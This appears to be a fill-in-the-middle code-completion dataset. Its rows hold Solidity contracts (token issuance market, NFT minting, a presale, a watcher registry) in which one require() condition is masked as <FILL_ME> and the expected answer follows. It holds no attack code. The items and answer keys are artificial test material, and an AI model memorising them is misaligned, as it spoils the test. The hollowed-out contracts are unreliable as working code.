import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
require(input_.underwriters.length == input_.quotas.length, "IssueMarket: markets length not match");
require(input_.min <= input_.max, "IssueMarket: min > max");
require(input_.startTime <= input_.endTime, "IssueMarket: startTime > endTime");
require(input_.receiver != address(0), "IssueMarket: receiver is zero address");
require(input_.endTime > block.timestamp, "IssueMarket: endTime must be greater than now");
if (input_.max > 0 && input_.min > 0) {
require(input_.min <= input_.max, "IssueMarket: min > max");
}
require(input_.max <= input_.issueQuota, "IssueMarket: max > totalIssuance");
require(input_.issueQuota > 0, "IssueMarket: totalIssuance must be greater than 0");
require(<FILL_ME>)
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| _priceStrategyManager().checkPrice(input_.priceType,priceInfo_),"IssueMarket: priceInfo invalid" | 251,070 | _priceStrategyManager().checkPrice(input_.priceType,priceInfo_) |
"IssueMarket: only issuer" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
bytes32 issueKey = _getIssueKey(sft_, slot_);
require(<FILL_ME>)
issueInfos[issueKey].purchaseLimitInfo.useWhitelist = whitelist_.length > 0 ? true : false;
_whitelistStrategyManager().setWhitelist(issueKey, whitelist_);
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| _msgSender()==issueInfos[issueKey].issuer,"IssueMarket: only issuer" | 251,070 | _msgSender()==issueInfos[issueKey].issuer |
"IssueMarket: insufficient reserved fee" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
require(<FILL_ME>)
ERC20TransferHelper.doTransferOut(currency_, payable(to_), amount_);
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| totalReservedFees[currency_]>=amount_,"IssueMarket: insufficient reserved fee" | 251,070 | totalReservedFees[currency_]>=amount_ |
"minter is not the owner" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
import "./ERC721BaseMinimal.sol";
contract ERC721WoonklyNFTMinimal is ERC721BaseMinimal {
/// @dev true if collection is private, false if public
bool isPrivate;
event CreateERC721WoonklyNFT(address owner, string name, string symbol);
event CreateERC721WoonklyNFTUser(address owner, string name, string symbol);
function __ERC721WoonklyNFTUser_init(string memory _name, string memory _symbol, string memory baseURI, string memory contractURI, address[] memory operators, address transferProxy, address lazyTransferProxy) external initializer {
}
function __ERC721WoonklyNFT_init(string memory _name, string memory _symbol, string memory baseURI, string memory contractURI, address transferProxy, address lazyTransferProxy) external initializer {
}
function __ERC721WoonklyNFT_init_unchained(string memory _name, string memory _symbol, string memory baseURI, string memory contractURI, address transferProxy, address lazyTransferProxy) internal {
}
function mintAndTransfer(LibERC721LazyMint.Mint721Data memory data, address to) public override virtual {
if (isPrivate){
require(<FILL_ME>)
}
super.mintAndTransfer(data, to);
}
uint256[49] private __gap;
}
| owner()==data.creators[0].account,"minter is not the owner" | 251,230 | owner()==data.creators[0].account |
"Cannot exceed hard cap" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract DadPresale {
// The address of the contract creator
address payable public owner;
// Hard cap of 20 ETH
uint256 public hardCap = 20 ether;
// Max and min contribution
uint256 public constant MAX_CONTRIBUTION = 0.5 ether;
uint256 public constant MIN_CONTRIBUTION = 0.01 ether;
// Total ETH raised
uint256 public totalRaised;
// Paused state
bool public paused = false;
// Event emitted when ETH is received
event Received(address indexed sender, uint amount);
// Event emitted when the contract owner finalizes
event Finalized(uint256 amount);
// Event emitted when the hard cap is changed
event HardCapChanged(uint256 newHardCap);
// Event emitted when the contract is paused or unpaused
event PausedStateChanged(bool paused);
// Ensures only the owner can call certain functions
modifier onlyOwner {
}
// Ensures only when the contract is not paused
modifier whenNotPaused {
}
// Constructor
constructor() {
}
// Fallback function receives ETH
receive() external payable whenNotPaused {
require(<FILL_ME>)
require(msg.value >= MIN_CONTRIBUTION && msg.value <= MAX_CONTRIBUTION, "Contribution outside allowed range");
totalRaised += msg.value;
emit Received(msg.sender, msg.value);
}
// Change the hard cap
function changeHardCap(uint256 newHardCap) external onlyOwner {
}
// Pause or unpause the contract
function setPaused(bool _paused) external onlyOwner {
}
// Finalize the funds to the owner
function finalize() external onlyOwner {
}
}
| totalRaised+msg.value<=hardCap,"Cannot exceed hard cap" | 251,397 | totalRaised+msg.value<=hardCap |
"already watcher" | // SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity 0.8.17;
import {ProposedOwnable} from "../shared/ProposedOwnable.sol";
/**
* @notice This contract manages a set of watchers. This is meant to be used as a shared resource that contracts can
* inherit to make use of the same watcher set.
*/
contract WatcherManager is ProposedOwnable {
// ============ Events ============
event WatcherAdded(address watcher);
event WatcherRemoved(address watcher);
// ============ Properties ============
mapping(address => bool) public isWatcher;
// ============ Constructor ============
constructor() ProposedOwnable() {
}
// ============ Modifiers ============
// ============ Admin fns ============
/**
* @dev Owner can enroll a watcher (abilities are defined by inheriting contracts)
*/
function addWatcher(address _watcher) external onlyOwner {
require(<FILL_ME>)
isWatcher[_watcher] = true;
emit WatcherAdded(_watcher);
}
/**
* @dev Owner can unenroll a watcher (abilities are defined by inheriting contracts)
*/
function removeWatcher(address _watcher) external onlyOwner {
}
/**
* @notice Remove ability to renounce ownership
* @dev Renounce ownership should be impossible as long as the watcher griefing
* vector exists. You can still propose `address(0)`, but it will never be accepted.
*/
function renounceOwnership() public virtual override onlyOwner {}
}
| !isWatcher[_watcher],"already watcher" | 251,406 | !isWatcher[_watcher] |
"!exist" | // SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity 0.8.17;
import {ProposedOwnable} from "../shared/ProposedOwnable.sol";
/**
* @notice This contract manages a set of watchers. This is meant to be used as a shared resource that contracts can
* inherit to make use of the same watcher set.
*/
contract WatcherManager is ProposedOwnable {
// ============ Events ============
event WatcherAdded(address watcher);
event WatcherRemoved(address watcher);
// ============ Properties ============
mapping(address => bool) public isWatcher;
// ============ Constructor ============
constructor() ProposedOwnable() {
}
// ============ Modifiers ============
// ============ Admin fns ============
/**
* @dev Owner can enroll a watcher (abilities are defined by inheriting contracts)
*/
function addWatcher(address _watcher) external onlyOwner {
}
/**
* @dev Owner can unenroll a watcher (abilities are defined by inheriting contracts)
*/
function removeWatcher(address _watcher) external onlyOwner {
require(<FILL_ME>)
delete isWatcher[_watcher];
emit WatcherRemoved(_watcher);
}
/**
* @notice Remove ability to renounce ownership
* @dev Renounce ownership should be impossible as long as the watcher griefing
* vector exists. You can still propose `address(0)`, but it will never be accepted.
*/
function renounceOwnership() public virtual override onlyOwner {}
}
| isWatcher[_watcher],"!exist" | 251,406 | isWatcher[_watcher] |
"list claim is not active" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ChampionsAscensionElemental.sol";
contract CAEMintingFactory is Pausable, AccessControl {
/// @notice emitted when the parameters are set for a claim list
event ListClaimParametersSet(
uint8 listClaimIndex, // claim list number (value of ListClaimEnum) for which parameters were set
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerAddress, // maximum claims per address
bytes32 merkleRoot // Merkle root of address allowed to claim. If 0 any address may claim
);
/// @notice emitted when the parameters are set for a the public mint
event PublicMintParametersSet(
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerTransaction // maximum claims per transaction
);
/// @notice the different kinds of minting
enum MintSourceEnum {
AIRDROP,
CLAIM_LIST_PRIME,
CLAIM_LIST_TIER1,
CLAIM_LIST_TIER2,
PUBLIC_MINT
}
/// @notice emitted when a batch of elementals are airdropped to a batch of address
event AirdropBatch(
uint addressCount, // number of addresses to which a batch is dropped
uint number // total number of elementals dropped across all addresses
);
/// emitted when a batch of elementals is minted either for claim or airdrop
event MintBatch(
address to,
uint32 number,
uint startId, // ID of first token minted in batch
MintSourceEnum mintSource
);
bytes32 public constant DEPLOYER_ROLE = keccak256("DEPLOYER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINT_ADMIN_ROLE = keccak256("MINT_ADMIN_ROLE");
/// @notice the different phases/kinds of claim list
enum ListClaimEnum {
PRIME, // 0
TIER1, // 1
TIER2 // 2
}
uint8 public constant NUM_LISTS = 3; // uint(TIER2) + 1
struct ListClaimParams {
uint40 start; // time of event start in seconds since the epoch
uint40 duration; // duration of event in seconds
uint32 maxPerAddress; // max number of Elementals claimable by member
bytes32 merkleRoot; // merkle tree root of addresses in list
}
struct PublicMintParams {
uint40 start; // time of event start in seconds since the epoch
uint40 duration; // duration of event in seconds
uint32 maxPerTransaction; // max number of Elementals claimable in one transaction
}
/////////////////////////////////////////////////////////////////////////////
// State
/////////////////////////////////////////////////////////////////////////////
/// @dev Contract deployer is payable for self destruct
address payable public immutable deployer;
/// @dev Elemental NFT contract
address public immutable nftAddress;
ChampionsAscensionElemental private immutable _elemental;
/// @notice List claim parameters
ListClaimParams[NUM_LISTS] public listClaimParams;
/// @notice List claim counts
mapping(address => uint8)[NUM_LISTS] public claimCounts; // number claimed to an address for each list
/// @notice Public params
PublicMintParams public publicMintParams;
/////////////////////////////////////////////////////////////////////////////
// Modifiers
/////////////////////////////////////////////////////////////////////////////
function _blocktimeBetween(uint start, uint duration) internal view returns (bool) {
}
function listClaimActive(ListClaimEnum listChoice) public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
/////////////////////////////////////////////////////////////////////////////
// Constructor
/////////////////////////////////////////////////////////////////////////////
constructor(address _nftAddress) {
}
/////////////////////////////////////////////////////////////////////////////
// External open-access functions
/////////////////////////////////////////////////////////////////////////////
function isInClaimList(ListClaimEnum listChoice, address _address, bytes32[] calldata _proof)
external
view
returns (bool)
{
}
/**
* @notice claim and mint as member of a claim list
* @param listChoice the claim list
* @param numToMint the number to mint
* @param proof the Merkle proof for the address claiming and minting. It must be the message sender (msg.sender)
*/
function listClaimAndMint(ListClaimEnum listChoice, uint8 numToMint, bytes32[] calldata proof) external
{
ListClaimParams memory params = _listClaimParamsForEnumValue(listChoice);
uint listClaimIndex = _listClaimIndexForEnumValue(listChoice);
require(<FILL_ME>)
require(_verify(params.merkleRoot, _leaf(msg.sender), proof), "invalid merkle proof");
claimCounts[listClaimIndex][msg.sender] += numToMint;
require(
claimCounts[listClaimIndex][msg.sender] <= params.maxPerAddress,
"exceeds maximum claims per address"
);
MintSourceEnum mintSource =
listChoice == ListClaimEnum.PRIME ? MintSourceEnum.CLAIM_LIST_PRIME :
listChoice == ListClaimEnum.TIER1 ? MintSourceEnum.CLAIM_LIST_TIER1 :
MintSourceEnum.CLAIM_LIST_TIER2;
_doMint(msg.sender, numToMint, mintSource);
}
function publicMint(uint8 numToMint) external {
}
/////////////////////////////////////////////////////////////////////////////
// External administrative functions
/////////////////////////////////////////////////////////////////////////////
/**
* @notice Airdrop minting.
*/
function airdrop(address[] calldata to, uint32[] calldata numberToMint) external onlyRole(AIRDROP_ROLE) {
}
/**
* @notice Set the parameters managing one of the claim lists.
* @param _listChoice the list whose parameters are being set
* @param _params the parameters of the claim list
*/
function setListClaimParameters(
ListClaimEnum _listChoice,
ListClaimParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Set the parameters managing public mint.
* @param _params the parameters
*/
function setPublicMintParameters(
PublicMintParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Disables minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function pause() external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Resumes minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function unpause() external onlyRole(MINT_ADMIN_ROLE) {
}
/////////////////////////////////////////////////////////////////////////////
// Internal functions
/////////////////////////////////////////////////////////////////////////////
function _leaf(address mintTo) internal pure returns (bytes32) {
}
function _verify(bytes32 merkleRoot, bytes32 leaf, bytes32[] memory proof)
internal
pure
returns (bool)
{
}
function _listClaimIndexForEnumValue(ListClaimEnum listChoice) internal pure returns(uint) {
}
function _listClaimParamsForEnumValue(ListClaimEnum listChoice) internal view returns(ListClaimParams memory) {
}
function _doMint(address to, uint32 numToMint, MintSourceEnum mintSource) private whenNotPaused {
}
function selfDestruct() external onlyRole(DEPLOYER_ROLE) {
}
}
| listClaimActive(listChoice),"list claim is not active" | 251,446 | listClaimActive(listChoice) |
"invalid merkle proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ChampionsAscensionElemental.sol";
contract CAEMintingFactory is Pausable, AccessControl {
/// @notice emitted when the parameters are set for a claim list
event ListClaimParametersSet(
uint8 listClaimIndex, // claim list number (value of ListClaimEnum) for which parameters were set
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerAddress, // maximum claims per address
bytes32 merkleRoot // Merkle root of address allowed to claim. If 0 any address may claim
);
/// @notice emitted when the parameters are set for a the public mint
event PublicMintParametersSet(
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerTransaction // maximum claims per transaction
);
/// @notice the different kinds of minting
enum MintSourceEnum {
AIRDROP,
CLAIM_LIST_PRIME,
CLAIM_LIST_TIER1,
CLAIM_LIST_TIER2,
PUBLIC_MINT
}
/// @notice emitted when a batch of elementals are airdropped to a batch of address
event AirdropBatch(
uint addressCount, // number of addresses to which a batch is dropped
uint number // total number of elementals dropped across all addresses
);
/// emitted when a batch of elementals is minted either for claim or airdrop
event MintBatch(
address to,
uint32 number,
uint startId, // ID of first token minted in batch
MintSourceEnum mintSource
);
bytes32 public constant DEPLOYER_ROLE = keccak256("DEPLOYER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINT_ADMIN_ROLE = keccak256("MINT_ADMIN_ROLE");
/// @notice the different phases/kinds of claim list
enum ListClaimEnum {
PRIME, // 0
TIER1, // 1
TIER2 // 2
}
uint8 public constant NUM_LISTS = 3; // uint(TIER2) + 1
struct ListClaimParams {
uint40 start; // time of event start in seconds since the epoch
uint40 duration; // duration of event in seconds
uint32 maxPerAddress; // max number of Elementals claimable by member
bytes32 merkleRoot; // merkle tree root of addresses in list
}
struct PublicMintParams {
uint40 start; // time of event start in seconds since the epoch
uint40 duration; // duration of event in seconds
uint32 maxPerTransaction; // max number of Elementals claimable in one transaction
}
/////////////////////////////////////////////////////////////////////////////
// State
/////////////////////////////////////////////////////////////////////////////
/// @dev Contract deployer is payable for self destruct
address payable public immutable deployer;
/// @dev Elemental NFT contract
address public immutable nftAddress;
ChampionsAscensionElemental private immutable _elemental;
/// @notice List claim parameters
ListClaimParams[NUM_LISTS] public listClaimParams;
/// @notice List claim counts
mapping(address => uint8)[NUM_LISTS] public claimCounts; // number claimed to an address for each list
/// @notice Public params
PublicMintParams public publicMintParams;
/////////////////////////////////////////////////////////////////////////////
// Modifiers
/////////////////////////////////////////////////////////////////////////////
function _blocktimeBetween(uint start, uint duration) internal view returns (bool) {
}
function listClaimActive(ListClaimEnum listChoice) public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
/////////////////////////////////////////////////////////////////////////////
// Constructor
/////////////////////////////////////////////////////////////////////////////
constructor(address _nftAddress) {
}
/////////////////////////////////////////////////////////////////////////////
// External open-access functions
/////////////////////////////////////////////////////////////////////////////
function isInClaimList(ListClaimEnum listChoice, address _address, bytes32[] calldata _proof)
external
view
returns (bool)
{
}
/**
* @notice claim and mint as member of a claim list
* @param listChoice the claim list
* @param numToMint the number to mint
* @param proof the Merkle proof for the address claiming and minting. It must be the message sender (msg.sender)
*/
function listClaimAndMint(ListClaimEnum listChoice, uint8 numToMint, bytes32[] calldata proof) external
{
ListClaimParams memory params = _listClaimParamsForEnumValue(listChoice);
uint listClaimIndex = _listClaimIndexForEnumValue(listChoice);
require(listClaimActive(listChoice), "list claim is not active");
require(<FILL_ME>)
claimCounts[listClaimIndex][msg.sender] += numToMint;
require(
claimCounts[listClaimIndex][msg.sender] <= params.maxPerAddress,
"exceeds maximum claims per address"
);
MintSourceEnum mintSource =
listChoice == ListClaimEnum.PRIME ? MintSourceEnum.CLAIM_LIST_PRIME :
listChoice == ListClaimEnum.TIER1 ? MintSourceEnum.CLAIM_LIST_TIER1 :
MintSourceEnum.CLAIM_LIST_TIER2;
_doMint(msg.sender, numToMint, mintSource);
}
function publicMint(uint8 numToMint) external {
}
/////////////////////////////////////////////////////////////////////////////
// External administrative functions
/////////////////////////////////////////////////////////////////////////////
/**
* @notice Airdrop minting.
*/
function airdrop(address[] calldata to, uint32[] calldata numberToMint) external onlyRole(AIRDROP_ROLE) {
}
/**
* @notice Set the parameters managing one of the claim lists.
* @param _listChoice the list whose parameters are being set
* @param _params the parameters of the claim list
*/
function setListClaimParameters(
ListClaimEnum _listChoice,
ListClaimParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Set the parameters managing public mint.
* @param _params the parameters
*/
function setPublicMintParameters(
PublicMintParams calldata _params
) external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Disables minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function pause() external onlyRole(MINT_ADMIN_ROLE) {
}
/**
* @notice Resumes minting for any claim list (scheduled or in progress)
* @dev Does not extend any claim duration to compensate for the time paused
*/
function unpause() external onlyRole(MINT_ADMIN_ROLE) {
}
/////////////////////////////////////////////////////////////////////////////
// Internal functions
/////////////////////////////////////////////////////////////////////////////
function _leaf(address mintTo) internal pure returns (bytes32) {
}
function _verify(bytes32 merkleRoot, bytes32 leaf, bytes32[] memory proof)
internal
pure
returns (bool)
{
}
function _listClaimIndexForEnumValue(ListClaimEnum listChoice) internal pure returns(uint) {
}
function _listClaimParamsForEnumValue(ListClaimEnum listChoice) internal view returns(ListClaimParams memory) {
}
function _doMint(address to, uint32 numToMint, MintSourceEnum mintSource) private whenNotPaused {
}
function selfDestruct() external onlyRole(DEPLOYER_ROLE) {
}
}
| _verify(params.merkleRoot,_leaf(msg.sender),proof),"invalid merkle proof" | 251,446 | _verify(params.merkleRoot,_leaf(msg.sender),proof) |
"exceeds maximum claims per address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ChampionsAscensionElemental.sol";
contract CAEMintingFactory is Pausable, AccessControl {
/// @notice emitted when the parameters are set for a claim list
event ListClaimParametersSet(
uint8 listClaimIndex, // claim list number (value of ListClaimEnum) for which parameters were set
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerAddress, // maximum claims per address
bytes32 merkleRoot // Merkle root of address allowed to claim. If 0 any address may claim
);
/// @notice emitted when the parameters are set for a the public mint
event PublicMintParametersSet(
uint40 start, // claim period start time in epoch seconds
uint40 duration, // claim period duration in seconds
uint32 maxPerTransaction // maximum claims per transaction
);
/// @notice the different kinds of minting
enum MintSourceEnum {
AIRDROP,
CLAIM_LIST_PRIME,
CLAIM_LIST_TIER1,
CLAIM_LIST_TIER2,
PUBLIC_MINT
}
/// @notice emitted when a batch of elementals are airdropped to a batch of address
event AirdropBatch(
uint addressCount, // number of addresses to which a batch is dropped
uint number // total number of elementals dropped across all addresses
);
/// emitted when a batch of elementals is minted either for claim or airdrop
event MintBatch(
address to,
uint32 number,
uint startId, // ID of first token minted in batch
MintSourceEnum mintSource
);
bytes32 public constant DEPLOYER_ROLE = keccak256("DEPLOYER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINT_ADMIN_ROLE = keccak256("MINT_ADMIN_ROLE");
/// @notice the different phases/kinds of claim list
enum ListClaimEnum {
PRIME, // 0
TIER1, // 1
TIER2 // 2
}
uint8 public constant NUM_LISTS = 3; // uint(TIER2) + 1
struct ListClaimParams {
uint40 start; // time of event start in seconds since the epoch
uint40 duration; // duration of event in seconds
uint32 maxPerAddress; // max number of Elementals claimable by member
bytes32 merkleRoot; // merkle tree root of addresses in list
}
struct PublicMintParams {
uint40 start; // time of event start in seconds since the epoch
